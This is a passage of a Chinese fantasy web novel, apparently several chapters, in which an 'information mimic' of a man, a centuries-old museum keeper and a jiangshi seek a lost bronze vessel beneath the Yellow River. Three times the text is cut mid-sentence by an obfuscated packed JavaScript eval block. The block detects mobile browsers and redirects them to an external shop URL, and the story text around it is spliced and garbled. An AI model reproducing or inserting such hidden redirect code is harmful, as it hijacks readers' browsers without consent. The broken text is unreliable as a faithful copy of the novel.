“二位。”赵义之其实并不想打扰拉姆和阴女,本来准备等他们聊完之后再说他的事,可偏偏拉姆沉默下来没有回答阴女的问题,他这才想着“那不如先聊聊我的问题”,开了口,“既然你们聊不下去,干脆先解决一下我心里的疑惑吧。” 拉姆与阴女同时转头看过来,都未作声。 赵义之干咳一声清清嗓,继续说:“你们不反对,那我继续了哈。首先第一个,我是不是已经死了?就是五年前的六月十八号,我下班开车回家给我外公庆祝八十大寿……呃我先打个岔,我外公现在身体怎么样?” “我不知道。”拉姆回答得非常干脆。 赵义之又看向阴女,见她只是耸耸肩便无奈叹口气:“好吧。我开车回家,结果因为下大雨,在高速路上出车祸,死了。对吗?” 阴女抿抿唇笑着不说话,而拉姆似乎在沉思,片刻后才说:“赵义之还活着。” “还活着?!”赵义之惊讶地破音了,“我没死?!那……那这五年没人找过我?警察也没来过?” 答案太出乎意料,以至于赵义之准备的提问节奏被打乱,确切说,相比之下,其他疑问都可以暂且放一边。他紧紧盯着拉姆,想听他解释。 需要说明的事情太多,拉姆一时间还没想好该从哪里开始讲起,竟是微微皱起眉,露出一副苦思的表情。 “你从头讲吧。”赵义之给拉姆提供了一个思路。 拉姆的眉头这才稍有舒展,缓缓吐出一口气,说:“阿卡夏是从我体内出来的。” 赵义之的嘴比脑子快:“他是你儿子?” “不是儿子,他算是我的一个分身。很久以前,我将自己对神的仇恨从体内剥离,这些负面情绪后来成为阿卡夏的灵魂。” 赵义之张张嘴,但还是将话咽回肚子里。他想问问拉姆,是不是失手把自己所有情绪都剥离了。 拉姆对赵义之的欲言又止没有察觉:“存在的、存在过的和必定将存在的,都会留下痕迹,有痕迹必有信息,信息会被记录。从世界诞生到世界毁灭的全部信息,记录在一个大厅里。” 赵义之忽然想到一个词:“命运。” 拉姆思考片刻,说道:“的确可以这么说。”他接着之前的话继续说,“阿卡夏正是诞生于大厅。他想打开大厅,让人知道记录的内容,学会创造世界。” “这不是好事吗?如果这份记录真的什么都有,人就可以学到更多知识,创造出新世界。这样国家和国家之间就没有战争的必要了,世界大和平。” 拉姆似乎摇了摇头:“人一旦学会如何创造世界,就会毁灭世界,最终自我毁灭。当你无所不知的时候,便会失去‘本我’。所以我反对他打开大厅。” “提问。”赵义之举起手,“你知道打开大厅的方法?” “我不知道,只有阿卡夏才有打开大厅的能力。但是,如果没有我的记录,大厅就不算完全打开。五年前,你的确在回家的路上出了车祸,身体被送往医院,只是你的灵魂还在往家赶。后来遇上阴女,在她的引导下来到博物馆。” 赵义之转头看向阴女,阴女则朝他露出迷人的微笑。当时正是这个笑,让他产生莫名其妙的骑士精神,不顾一切送她到目的地。 拉姆继续往下说:“经过抢救,你的身体暂时保住了生命特征,但因为灵魂离开,所以迟迟没有醒。” “我现在回去还来得及吗?” “你的灵魂在五年前回到身体,不久后便出院了。” 赵义之甚是疑惑:“那我这是……” 拉姆重新调整身体的面向,恰好正对着赵义之:“站在这里的你,是赵义之的信息。算是,你吃下‘非此之物’的后遗症。” “我没懂你的意思,我怎么就成信息了?” 拉姆手上不知什么时候多出一支蜡烛,正是那晚他给赵义之用以照明的那支。他朝赵义之的方向递出蜡烛:“这是你的载体。你从赵义之身上分离出来的时候,手里正好握着这支蜡烛。” 老实讲,赵义之不相信拉姆的话,迄今为止所有的经历、所有的感觉他全都记得清清楚楚。说他是个鬼他还能接受,说他是信息?骗鬼呢。 似乎察觉到赵义之不信,拉姆只好收回蜡烛,用掌心托着它放在唇前,像念咒般低声说:“赵义之,生于一九九五年六月二十五日。” 随着拉姆清冷的嗓音说出这句话,蜡烛顶部兀自点燃了火苗。火苗橙色的光如烟一般扭着身子飘荡起来,徐徐朝赵义之游去。即将被光烟碰上时,赵义之迅速朝旁边让出两步,直勾勾盯着它看。光烟的前端扑了个空,像是产生困惑般在原地停顿片刻,这才转个弯飞快找到赵义之,将他缠绕起来。 赵义之刚想说这东西像个活物,嘴还没来得及张开,就变成一个刚出生的紫皮婴儿,浮在半空。婴儿愣住,随后嗷嗷大哭,踩着空气急速朝拉姆爬过来,抓住他胸口的衣裳咿咿呀呀胡言乱语。意思大抵是让他把自己变回去。 拉姆吹灭蜡烛,光烟也随之消失,小婴儿的身体犹似泡开的茶叶,仅用数秒就恢复到成年人的模样。 赵义之连忙松开拉姆的衣服双脚落地,低头确认过自己的身体与样貌无异,才慢慢抬起呆滞的脸:“我真的只是赵义之的信息?” “嗯。” 虽然他还是不愿意相信:“就算我只是信息,你也可以早点和我说,我心理承受能力还可以,不至于关我五年。” “关于这件事,我想先和你道歉。”拉姆微微向赵义之低头鞠躬。 赵义之大手一挥,不计前嫌:“唉算了,信息就信息吧。” “之所以关你七天,是怕你去医院知道自己只是信息而出现波动,影响身体与灵魂之间的稳定。七天后,身体与灵魂重新融合,无论你在周围怎么波动都不会有危险了。并且离开载体,用不了多久,作为信息的拟态,你会消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248792|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失。” 所以当时才说是选择。 “听你这意思……”赵义之的视线落在拉姆手中的白色蜡烛上,“我不能离开这东西?” “二十四小时内可以。” 换而言之,蜡烛在哪儿他就得在哪儿。 “那博物馆……”阴女说着回头看向本该有博物馆的地方。 拉姆暗自叹口气,说:“自从阿卡夏形成独立的意识,就一直在找我,不过有博物馆的保护,他无法通过我的信息知道位置。但……他找到了你。”拉姆的眼睛“看”着赵义之,“阿卡夏通过你留在博物馆的信息找到这里,并且想将保存在博物馆里的我的信息放进记录大厅,从而打开大门。我只能将博物馆彻底关闭,并尝试把阿卡夏送回大厅。这一关就是五年。” 想到之前趴在展示门上看见的一切,赵义之恍然大悟:“你是用那黑球把他送回了记录大厅?” 拉姆摇摇头:“不过我的记录还是被阿卡夏散播出去了,博物馆也因此消失。” 赵义之勉强接受了目前的状况:“那他为什么要带我走?和你说的缔结执行者有关?” 拉姆说:“阿卡夏需要一个执行者,替他传播信息。执行者不能是生物,也不能是死物。像你这样的存在,是最完美的对象。为了不让他与你接触,我只好暂时将你隔离。” 赵义之若有所悟地点点头:“也是不幸中的万幸了。” “这可未必。”阴女轻飘飘开口说道,“只要馆主的记录没有找回来,阿卡夏的机会依旧存在。虽然眼前的‘赵先生’很独特,但世界上未必只有他是这样。更何况,阿卡夏能在记录大厅里阅读除馆主之外的所有信息,也就是说,他知道如何创造出第二个‘赵先生’。只是条件符合达成的问题。至少得将‘青铜甗’找回来。” 拉姆的脸色似乎变得沉重了一些:“我也是这么想的。不止‘青铜甗’,别的,全都得找回来。” 阴女长呼口气,笑起来:“既然如此,得做好出远门的准备了。” “又要给你添麻烦了。” “您别这么说,没有您,也就没有今天的阴女。” 看着温柔的阴女,赵义之实在不敢将她和“回忆”中看见的吃人女鬼联系在一起。 注意到赵义之的目光,阴女侧头问道:“怎么了赵先生,您为什么一脸严肃地看着我?” “我们三个,是不是没有一个是人类?”他问得比较含蓄。 阴女勾起唇角笑了,舌尖探出来舔过旁边的尖牙:“您是想问,我到底是个什么东西吗?” 赵义之神情一变,最后老实点头:“你说对了。” “那赵先生,听说过僵尸吗?” 答案并不令人意外,赵义之先前就已经有了这个猜测:“听说过,但还是头一次见,幸好是先见到的是你。” 阴女轻笑两声:“看来我们的确很有缘。” “还行吧。”赵义之不好意思地摸摸鼻尖,随后立刻又一本正经地问,“你们有户口身份证吗?” 阴女眨眨眼,不明所以。拉姆更是直接否认:“没有。” “去派出所办一个吧,坐高铁飞机出行方便,心里不虚。对了我再多问一句,普通人能看见我吗?还是只能看见……”赵义之的目光再次落到拉姆手中的蜡烛上,“我的载体?” “都看不见。所谓载体,也只是一段记录。” 20. 赵义之的答案 需要落户口以及办理身份证的,只有拉姆。 令赵义之意外的是,阴女有合法的户口,而让他更惊讶的是,阴女甚至结了婚,丈夫正是周书云。赵义之看着被阴女打电话叫来的周书云,震惊得像个智力有缺陷的病人——合不拢嘴。 “拉姆先生,好久不见。”周书云热情地与拉姆握手。 和赵义之在记录中看见的不同,眼前的周书云明显变得更加沉稳和圆滑,半点没有稚气未脱的青涩模样。说来,他是被阴女所杀,又被拉姆变成僵尸,没有怨恨也就罢了,竟然还如此亲密。 他只能说一句佩服。 “我在电话里都听孟英说了,先回家吧。” 孟英是阴女身份证上的名字。至于为什么姓“孟”,她没做任何解释。 当年返回营口后,阴女没有和拉姆一起走,而是选择留下来。如出发之前所料,日本人很快便发现龙骨被盗、以及研究龙骨的教授横死宿舍,而嫌疑人则是校长。当然,谋杀案件不了了之,人们的目光聚焦在龙骨失窃这一大新闻上,日本人更是关注。很快,根据守棚老人提供的线索,再加上周书云不知所踪,警察署很快便锁定目标,将周奶奶给抓了起来。 经过一番审问,周奶奶咬死说周书云只是探亲,于是没有进展的警察署又从船只下手,找到周书云的儿时好友陈达年。陈达年硬是扛了几天,可最终还是经不住皮肉之苦,如实说出周书云出海一事,却死活没提龙骨。 尽管如此,日本人依旧怒不可遏,将周奶奶与陈达年押至西海岸,当着营口百姓的面直接枪决。 于是当周书云回到家中,迎接他的便只有一支端着步枪的日本兵。 周书云起先愣住,很快回过神后便转身关上了大门。 枪声在院中不断响起,伴随着日本人此起彼伏的惨叫。 “速度慢了些。”阴女坐在周家院墙上,翘着二郎腿,托着下巴,百无聊赖的慵懒之余不忘点评两句,“虽然死不了,但真受伤了,恢复起来也麻烦。” 院子里的周书云半转过身体抬头看她,手上脸上全是血:“有什么办法可以让我的行动变快吗?” “等你吃饱了再说。” 他们不能当着别人的面杀日本人,所以每次都是悄悄的,杀完吃了,就走。 至于为什么阴女最后没有吃掉周书云…… 驾驶室的周书云笑起来,显得有些腼腆:“毕竟,谁也不知哪天会不会又打仗。反正已经这样了,总得物尽其用嘛。” “你现在还在当记者?”坐在后排的赵义之问。 他的身份特殊,似乎也只有特殊之人才看得见他、听得见他。 周书云习惯性瞥了眼左后视镜:“我现在是老师,教初中历史。” “确实适合你。”赵义之又想到了什么,转头问坐在自己身边的拉姆,“你有钱吗?之后去找你的信息载体免不了天南地北地跑,交通费、住宿费、餐饮费,这些都要花钱。” 这一点倒是拉姆之前没想到的。他不吃东西也不会死,要休息随便找个干净的地方闭目坐坐就行,至于交通,反正他时间充裕,去哪儿都是靠走路。不过好在以前多少存有一些,或许够用。 见拉姆不说话,赵义之以为是他对钱没概念,于是解释:“钱呢,就是和别人交换东西用的,俗称买卖。” “我知道。” 副驾驶的阴女掩面笑起来:“钱的事情赵先生不用担心,馆主放了一些在我这里。” “那就好,现代社会,没钱多少有点不方便。” 依赵义之的猜想,这里的“一些”可能最多就是小几十万。可当他们抵达阴女与周书云居住的小区,阴女从房间里提出一只皮箱时,赵义之终于隐隐觉得不对劲。 周书云与阴女家住在洛阳,是省外,开车到白龙镇紧赶慢赶也需要十多个小时。于是索性,在赵义之的提议下,拉姆和阴女先去镇上尝了尝鱼,然后带他去见那个真正的赵义之的妻女。 远远的,他看见一位名叫姚苏的女人在街边停车,然后走进旁边的早教机构。带女儿来上早教课的是婆婆和家里的保姆,姚苏是个医生,两人在赵义之出车祸住院那段时间里认识,彼此看对眼交换了联系方式开始发展。今年,是他们结婚两周年,女儿刚满一岁。姚苏今天下班早,所以亲自来接女儿回家。 姚苏进去没多久便出来了,她抱着女儿,身边是推婴儿车的保姆,婆婆一直在帮她整理女儿的衣裳。 “今天老师安排了语言训练,老师夸我们优优聪敏呢。是不是呀优优。”婆婆指着姚苏问优优,“这是谁呀?” “ma……ma……” “哎呦,我们优优真聪明!” 这里人来人往的,卖小零食的也多。不过没人能看见只是信息拟态的赵义之,包括姚苏与赵有希。她们坐上停在路边的一辆私家车,慢慢驶离拥堵的道路。 “唉……我这小子真有福气。”站在街对面注视着车辆远去的赵义之突然鼻子发酸,有点想哭。 阴女低头点开手机看了一眼周书云发来的消息,问道:“书云说他快到了。还有一点时间,赵先生,您要去看看活着的赵先生吗?” 赵义之没去看,他认为照照镜子能解决的事,实在没必要跑一趟,遭罪。 “这些就是馆主寄放在我这里的全部数额了。”阴女将手提皮箱放在地板上,准备打开。 赵义之觉得很奇怪:“怎么不放桌上?” 蹲下身的阴女抬头朝赵义之露出甜甜的笑:“茶几是玻璃的,怕压坏。” 便听咔哒两声,阴女的纤纤玉手已经解开皮箱扣上的锁,掀起盖子,将开口调转方向面朝坐在三人沙发上的拉姆与赵义之。这只方方正正的手提皮箱最外面是羊皮的,深褐色,皮质的纹理清晰可见,大约十四寸,样式老旧。 塞满这只老旧皮箱的,是码放整齐的厚厚几层金砖,赵义之的前半生加起来都没见过这么多钱。 “你、你……你们管这叫‘一些’?!”赵义之从沙发上跳起来,指着满满一箱金砖问,“这能叫‘一些’?!” 阴女抬起身顺势坐到旁边的沙发上,泡好茶的周书云端着玻璃杯走过来,笑着说:“金钱对我们这样的‘人’而言,用处不多。拉姆先生喝茶,赵先生喝茶。” “明天拿去换成当前流通的货币,应该足够车马费了。”拉姆伸手端起水杯,吹了吹。 “这可太够了,怪不得阴女说会压坏玻璃。一共多少斤,你们称过没?”赵义之蹲在皮箱边,两只手各拿一块大金砖掂量。这才叫生活的压力。 周书云坐在阴女那只单人沙发的扶手上:“一块二十斤左右,差不多四百斤。” “四……?!”赵义之到抽口冷气。 “明天先去派出所落户办理身份证,要验指纹,证件下来差不多三周。拉姆先生算是黑户,可能还需要抽血。”周书云说道。 “抽血?”赵义之惊诧的目光在周书云与阴女的脸上来回扫视,“你们不怕被查出身体和普通人不一样吗?比如DNA之类的……应该有区别的吧。” 周书云与阴女相视一眼:“我们落户的时间比较早,没有抽血。但是出发去接你们之前,我到户籍管理处打听了一下,现在为了筛查需要抽血。” 赵义之对此颇有兴趣,转头看向事不关己泰然自若的拉姆:“你能抽血吗?别最后验出来是个新物种。” “可以抽。”拉姆说,“他们会得到想要的结果。” 赵义之觉得这话古怪,想了想,问:“什么意思?” 拉姆不打算回答这个问题。他放下杯子,面朝周书云与阴女的方向说:“青铜甗所在的地方离这里不远,等明天办好了手续,有劳周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248793|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生开车送我们过去。” 周书云转头看向身边的阴女:“别这么客气。我知道地方。对了,金砖兑换不宜一次兑太多,也不宜太频繁,容易引起怀疑。一旦真有人仔细追查我们的祖籍,会很麻烦。还是尽量保持低调。” 拉姆点点头。他们三人的确经不住细查。 趁着方便,拉姆的户籍落在周书云和阴女的户口本上,身份是阴女的表哥。只是他的样貌实在不像汉人,即使事前已经将头发染成了黑色,也依旧被警察怀疑是个混血,最后好一折腾才终于办完。至于名字么,是阴女为他想的,叫沈晄。 听到这个名字的赵义之脱口问出两个问题:“为什么姓沈?晄有什么说法吗?” 面前还有派出所的民警在,所以没人回答。 “户口本三个工作日后可以来领取,身份证需要十五个工作日。如果需要邮寄,扫这里支付邮费。” “好,感谢。”周书云扫码支付了工本费与邮费。 走出办事大厅,阴女掏出手机打开前置相机走到拉姆身边:“今天是个值得纪念的日子。馆主,我觉得我们应该拍张照。” 听见拍照,走在前面的赵义之立刻折回来,边走边整理发型。可他走到拉姆身边往屏幕上一瞧,赫然出现的却是一片空白。 拉倒,不拍也罢。 他转头就走。 阴女轻笑出声,招手等来周书云,拍下他们的第一张合照。然后,在前往孟州的路上,她用自己的社交账号发布了这张照片。 很快,有人点了一个赞。 她垂目瞥见,不经意勾起嘴角,转头看向窗外悠悠哼起歌,调子十分怪异。周书云立即关闭车载电台的声音,听得津津有味。 可是听习惯流行音乐的赵义之却截然相反,转头看向身边的拉姆想寻求认同,哪知拉姆跟木头似的,岿然不动。 赵义之实在好奇得不行,终于开口问:“阴女,你哼的是哪首歌?国外的吗?” “是我家乡的调子,不算歌。”阴女心情不错,“以前,祭祀的时候才会演奏。” “祭祀?”赵义之的语气里透着惊诧。 阴女听出来了,眼神中不禁流露出一丝怅惘:“很久以前的事了。久到……我都想不起来家的位置。” 这句话赵义之是信的。他试探着问:“我有点好奇,你们,活了多久?就是你和拉姆。” “什么样的算‘活’?”阴女反问道。 “啊?”赵义之始料未及。 “若是作为一个‘人’,我似乎只活了十六年。但你若是问我作为僵尸存活了多久,那可数不清了。”她将鬓角的头发别到耳后,“至于馆主,恐怕就更数不清了。” 赵义之侧头看向拉姆,拿手肘撞撞他:“真的?” 拉姆如实承认:“我的确活了很久。” “多久?”赵义之追问,“四千年?五千年?虞朝和夏朝到底存不存在?” 拉姆不答反问:“你觉得,生命是什么?” “这么突然的吗。”这个问题赵义之在“回忆”里听拉姆问过两次,他稍稍思考片刻,带着不确定的语气回答,“生命是……等死。” 木头一般的拉姆像被激活的机器仿生人,脑袋很明显地抬起一下,继而转头面向赵义之:“生命是等死?” “对啊,在我看来,所谓的繁衍没有任何意义,人是因为怕死才不得不活着,如果死没有痛苦,不知道世界上还剩下多少人。” 停顿十来秒的拉姆突然哈地笑出声:“没想到,我竟然会第二次听到这个答案。”他又笑了几声,“这个回答,现在听起来,实在是……好笑。” “你……”赵义之不确定地问,“是在笑?” “是啊,我在笑。” “可……” 你的人设难道不是沉默寡言的面瘫吗? 21.黄河之水天上来 到达孟州后,只能凭拉姆的感觉继续往南面开,没人能说出青铜甗所在的确切位置,包括阴女自己。 到附近的村庄时,差不多已是几近傍晚。好在村庄外围人少,大都聚集在中心区域,所以没人注意到这辆朝黄河驶去的私家车。 车一直开到黄河边的小路前才停。最先下车的是阴女,她仰起头望向夕阳下的黄河水,脸上满是怀念:“好久没有回来过了。” 正下车的赵义之听见这句话,便问:“你是这里的人?怪不得你们住在洛阳。” 阴女勾了勾唇角,径直朝黄河走去。 “我在车这里等,不跟你们进去了,以防有人过来盘问。”周书云站在车子驾驶室旁,边关门边说。 “进去?”赵义之奇怪地朝四周张望,并没有发现可以称之为“进去”的地方。 周书云抱着手臂自在地靠着车头,笑着回答赵义之:“跟着去你就知道了。” 孟州有个湿地公园,被治理得很好,河水清澈风景宜人,如果是旅游,大概他会将拉姆和赵义之带去那里。然而,今天并不是来游玩的。他们目前所在的地方位于湿地公园的下游,相比之下,河水明显浑浊许多,也并没有什么值得被人记录的景致。 但偏偏就是这个地方,埋着数千年前的人类文明。 赵义之大步跟上拉姆:“是不是只要蜡烛没事我就没事?” “是。” “那没事了,我跟你们去开开眼。” 拉姆补充:“你和蜡烛相辅相成,只要你没事,蜡烛便也没事。” 赵义之刚挂脸上的开心骤然凉半截。 拉姆又补充:“一般来说,除非遇上可以改变信息的东西,否则很难对你造成不可逆的伤害。” “早说啊你,害我担心。” “不过……”拉姆继续补充,“要损毁蜡烛就容易多了。折断还好,就怕遇上火。” 赵义之的心情随着拉姆的话七上八下,和烫鹅肠似的。他冷脸睥睨拉姆:“还有什么,你一次性说完。” “我们要去黄河河底。” 赵义之倏地停下脚步讶异看着拉姆的背影,随后转念又一想,反正黄河是水不是火,便不再过多烦恼,小跑着越过拉姆身边来到阴女所站的地方。 日暮之下,河水兀自静静流淌,很急,却并不汹涌。赵义之弯腰朝河面望,便见河面之上泛着奇怪的荧光,将夕阳余晖彻底掩盖。再瞧得仔细些,才发现那五颜六色绚烂的光竟是活物形态,有些像毛毛虫、有些像水母、有些像树根、有些像树叶,游来飘去各有动作。 “那些都是黄河的信息。”拉姆像是猜中赵义之的心思,不等他提问便先回答。 “好漂亮。” “也很危险。”阴女说完,抬手将赵义之推了下去,接着自己也紧随其后。 拉姆摘下墨镜叠好放进怀中的衣兜,纵身一跃。 入水之后,没有想象中的压迫或是窒息,反倒令赵义之有种身轻如燕的感觉。他慢慢睁开紧闭的双眼——如夜空般深沉的蓝色浩瀚空间替代原本算不上清澈的河水,出现在他眼底。之前在河岸边所见的绚烂荧光生物,飘荡于四面八方。他像是落入了这样一个地方:没有所谓的天与地,没有所谓的人与兽,绚丽的怪物是这里的主人,是这里唯一的存在。 人?何其无足轻重。 恍惚间他便也化作怪物的其中之一,手脚变成无数触须,脑袋与身体融合成一朵蘑菇,逐渐散发出紫色的荧光。 忽地,他的一条触须被什么东西抓住,将他拉了过去。 “别忘记自己的名字。” 清冷的声音传入他耳中。 “赵义之。” 赵义之猛地一激灵,这才发现自己被拉姆抓住手腕。 “千万别忘记自己的名字。”拉姆再次强调。 赵义之点点头,心有余悸。他刚才险些就变成别的什么东西了。 拉姆担心赵义之再次被同化,索性一直抓着他:“拟态失去自我会变得十分危险。” “有多危险?” “喏。”阴女朝下方扬扬下巴,“那些就是。” 赵义之顺着阴女的视线一瞧,发觉自己似乎没能正确理解拉姆的意思,于是问:“是指他们自己有危险,还是会对我们造成危险?” 拉姆平静地说:“后者。” 简而言之,就是没有理智的人偶。 阴女幽幽叹口气,转身对拉姆说道:“他们都是我曾经的族人,我下不了手。” “嗯,我来。”拉姆将赵义之交给阴女,然后便像从天而降一般往下潜。 底下似乎是个祭坛,七口四方青铜鼎一字架于七个木柴堆上,前面是七具摆放在草席上的牲畜尸体。祭坛之上还有几人,其中一人带着面具朝向铜鼎双手持杖高高向上托举似有呼唤,剩下几人则手持兵器站于两旁。祭坛之下跪着数不清的人。他们上穿衣下着裳,头戴冠帽,纷纷面朝着祭坛静静不动。一切被停止在祭祀将开始的这一刻。 然而却并不见那青铜甗的身影。 随着拉姆降落于人群后,石雕一般的人从沉睡中被惊醒,陆续起身回头看向他。随着手握铜杖之人的一声令下,这些衣着古老的人便纷纷戒备地朝拉姆靠近。 拉姆的“目光”穿过人群落在祭坛上,不禁疑惑起来。在他的记忆中,此时祭坛上放置的不该是七口青铜鼎与牲畜,而是更小的青铜甗与人牲才对。 “邪魅入侵,坏我天祭!”持杖人再次大声开口,“削其骨为辕,剁其肉为马,献天地自然神!” 祭坛下的人一呼百应,很快便将拉姆围在中间,逐渐缩小包围。而拉姆,活了不知道多少年身怀非凡之力的拉姆,一步一步走到人群前,最终在试图闯出去的时候被擒住。 是的,拉姆还没有发挥出实力,便被捉住手脚,像举牲口般被直接举上头顶。 衣着古朴的人欢声高呼,从中间让出一条道,抬人的四名男子举着拉姆走过去。 赵义之转头看向阴女,眼中没有半点因为黄河底变成这副奇异景象的诧异,全是对拉姆实力的怀疑:“这么弱?” 阴女略是无奈地笑笑:“馆主不擅长破坏,哪怕对方只是信息拟态。他更习惯疗愈。” “怪不得花了五年才把阿卡夏弄走。”赵义之活动着脖子手腕,一副要大干一场的架势,“那些都是和我一样的信息?” 阴女侧头看他,微微有了笑意:“不错。” “怎么弄?” “若是我,便直接去祭坛抓拿手杖的人。” “懂了。”赵义之点点头,朝祭坛游去。 阴女轻轻叹口气:“我是说,若是‘我’。不过……也罢,就让我好好开个眼吧,执行者先生。” 到达祭坛的距离比预料中远,赵义之和拉姆不一样,脑子里始终有个认知——这里是黄河,得游过去。他用熟练的蛙泳姿势朝祭坛赶。就在这途中,拉姆已经被抬上祭坛,和那些准备用来祭祀的牲畜摆在一起。 “拉姆!你跑啊!”赵义之朝他大喊,“又没绑着你!” 拉姆似乎听见了赵义之的呼声,抬头朝他“望”来,然后站起身准备走。旁边拿武器的男人随即大步上前,拽住他的胳膊要将他往地上摔。男人的力气实在大,拉姆被他摔得一个踉跄栽倒在牲口尸体上,手掌按进它被剖开的腹部。 啪叽,全是血。 闪着寒光的矛头抵在拉姆颈脖上:“恁莫乱动,否则砍掉恁的脑袋!” 拉姆慢慢抽出沾满鲜血的手,调整好自己的姿势坐在地上,仰头朝向男人,那双灰白色眼睛仿佛正直勾勾地盯着他:“告诉我,青铜甗在哪里?” 男人被他的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254850|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定在原地,嘴唇动了动,似乎下一刻便要说些什么。 赵义之看得心里直着急,竟是双腿使劲一蹬,直朝男人俯冲而去。 “青铜——” “别愣着了,跑啊!”借着下落的速度,赵义之硬着肩膀撞向男人,自己也狠狠摔下来。 他没敢耽误,借着打滚的惯性收回双腿变成蹲,而后倏然起跑闪现到拉姆面前。速度太快,连他自己都吓一跳。 “你怎么来了?”拉姆平静地问。 “当然是来救你。”赵义之环视一圈手拿矛戈朝自己冲过来的几个男人,拍拍拉姆的胳膊,“别怕,看我的。” 或许是身为信息拟态的缘故,从刚才起,赵义之发现自己能做到很多超出常人认知范围内的事。比如单手用力一握便折断女人手腕粗的木棍,比如脚往地面一跺便踩碎祭坛上铺陈的大石板,再比如心念一动便立刻来到手持铜杖的男人面前——这些,违反了物理原理,他只在武侠剧里见过。 赵义之扼住中年男人的脖子,但他没敢太用力,怕不小心给掐断了。 “都别动!”赵义之指着底下数百人,威风凛凛地呵斥,“全部放下武器,抱头蹲好!” 骚乱的人群面露惶恐不知所措,却无人听他的话。赵义之心想,许是这些古代信息听不懂现代人的话,于是抢过中年男人手里的青铜杖,抓住他的肩膀,顺势朝他膝盖窝一踢,逼得男人跪下。 可就在男人双膝着地的瞬间,赵义之便觉手下一空,再低头看时,哪里还有男人的身影。 “人呢?”赵义之惊讶地抬起头,发现不仅是那中年祝祭,连其余的人也全都凭空消失,“怎么个事?” 拉姆站起来,拿出手帕擦拭身上的血:“我们掉进了茧房里。” “什么茧房?”赵义之环顾着四周与刚才别无二致的景色,走近拉姆身边:“我们不是在黄河底吗?” “先前是,现在不是了。开放的是库,封闭的是茧。你可以理解为,我们进入了黄河信息的茧房里。就像之前困住你的博物馆。” “所以我们被困住了?什么时候?” “你拿走祝祭手中青铜杖的时候。” 赵义之愣住,转头看向手中的铜杖,然后猛地抬头:“你怎么不提醒我呢!” 拉姆将弄脏的手帕叠好,放进裤子口袋:“提醒什么?” “提醒我别拿祝祭的手杖!”现在青铜杖还在他手里,也不知是该扔还是该继续拿着,“那现在怎么办?我扔了它还来得及吗?” 拉姆微微低下头,像是看着青铜杖在思考。赵义之也不急,双臂抱着青铜杖等他慢慢想明白。 好半晌,拉姆才说:“拿着,或许有帮助。” 赵义之像抗锄头一样将手杖抗在肩上:“接下来,我们怎么打破这个信息茧房?” 拉姆回头看向身后的七只青铜鼎。鼎下的木柴堆不知什么时候被点燃,火势正旺,而那些摆在地上的牲畜尸体也不知被谁放入鼎中,许是再过上一个小时就蒸熟了。 “找到本位,茧房的通道就会打开。” 赵义之面有疑惑:“本位是什么?钥匙?” “差不多。” “呃,要是找不到呢?” “强行打开封闭的茧房会对信息造成很大伤害,不到万不得已,我不想这么做。” “行,我们去找,找不到再说。” 拉姆回头面向青铜鼎,沉默片刻又说:“得赶在祭祀完成之前找到本位,不然,有些麻烦。” “那个……我多嘴问一句,是不是因为我拿了祝祭的青铜杖,我们才被关在茧房里?” “嗯。” 赵义之无奈又自责:“希望下次再有重要的事,你能提前和我说。” “嗯。”拉姆十分坦诚,“刚刚你撞的那个人,正要告诉我青铜甗的位置。” 22.信息执行者 他赵义之除开心地善良,还有个优点,就是认错快。 所以他立刻道了歉:“对不起。你早点告诉我就好了。” “下次吧。” 随着脚步慢慢走出祭祀的地方,眼前所见之物也逐渐变得真实。脚下的黄土被开垦、耕种,一块块的田地里是长势喜人的粟黍。田中有几位打着赤脚光膀的老汉在弯腰拔草,头上浅黄斗笠从绿油油的植物上冒出来,倒成了屈指可数的花。 “如果我和他们打招呼,会引发什么不好的后果吗?”赵义之问。 “不会。”拉姆回答。 赵义之抬眼盯着肩上的青铜杖想了想,将它递给拉姆:“帮我拿一下。”接着他又说,“有点重,小心别砸到脚。” 拉姆接过青铜杖慢慢抚摸着上面压印出的花纹。重?他没觉得。 “大爷,有个事想问问您。”赵义之一边朝田地里的人走去一边高声喊,“大爷。” 带斗笠遮阳的大爷直起腰,转身看过来:“恁说啥嘞?” 赵义之站在田埂上,继续说:“大爷,你们这儿谁管事啊?” 大爷朝他摆摆手:“听不懂。”说完便又继续拔草松土。 赵义之若有所思,随后换了套文绉的说法:“老人家,请问村长家住何方?” 大爷更听不懂,没好气地挥挥手,看样子是在撵他走。 “奇了怪了。”他嘟囔着回到拉姆身边,“怎么好像我和那位大爷都听不懂对方在说什么。” “时隔三千多年,咬字发音都和以前不一样了,听不懂是正常的。” “这不就没办法打听本位在哪儿了吗。” 拉姆微微转过脑袋面向赵义之,似乎在看他的眼睛:“信息之间不是只能通过人类的语言来交流。” 赵义之一点就醒:“联网!谢谢提醒。” 